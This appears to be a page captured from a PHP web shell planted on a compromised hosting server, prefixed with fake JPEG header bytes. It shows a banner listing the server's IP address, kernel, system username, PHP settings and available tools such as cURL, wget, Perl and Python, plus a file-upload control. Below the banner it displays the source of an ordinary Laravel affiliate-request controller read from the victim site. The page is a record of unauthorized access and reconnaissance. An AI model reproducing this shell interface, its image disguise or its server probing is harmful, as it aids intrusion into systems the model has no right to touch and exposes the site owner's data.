����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.15.221.165 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Instructor/ |
Upload File : |
<?php namespace App\Http\Controllers\Instructor; use App\Http\Controllers\Controller; use App\Models\AffiliateRequest; use App\Traits\General; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class AffiliateController extends Controller { use General; public function becomeAffiliate() { $data['title'] = 'Become Affiliate'; $data['navAffiliateActiveClass'] = 'has-open'; $data['subNavBecomeAffiliateActiveClass'] = 'active'; return view('instructor.affiliate.create', $data); } public function requestList() { $data['title'] = 'Request List'; $data['navAffiliateActiveClass'] = 'has-open'; $data['subNavAffiliateListActiveClass'] = 'active'; $data['requests'] = AffiliateRequest::where(['user_id'=>Auth::id()])->paginate(); return view('instructor.affiliate.request-list', $data); } public function becomeAffiliateApply(Request $request) { $obj = AffiliateRequest::whereUserId(Auth::id())->where(['status' => STATUS_PENDING])->first(); if(!is_null($obj)){ $this->showToastrMessage('error', __('You already have a pending request')); return redirect()->back(); } $obj = AffiliateRequest::whereUserId(Auth::id())->where(['status' => STATUS_APPROVED])->first(); if(!is_null($obj)){ $this->showToastrMessage('error', __('You already have a Approved request')); return redirect()->back(); } if (is_null($obj)) { $obj = new AffiliateRequest(); } $obj->user_id = Auth::id(); $obj->status = STATUS_PENDING; $obj->address = $request->address; $obj->save(); $this->showToastrMessage('success', __('Request Created Successfully')); return redirect()->back(); } }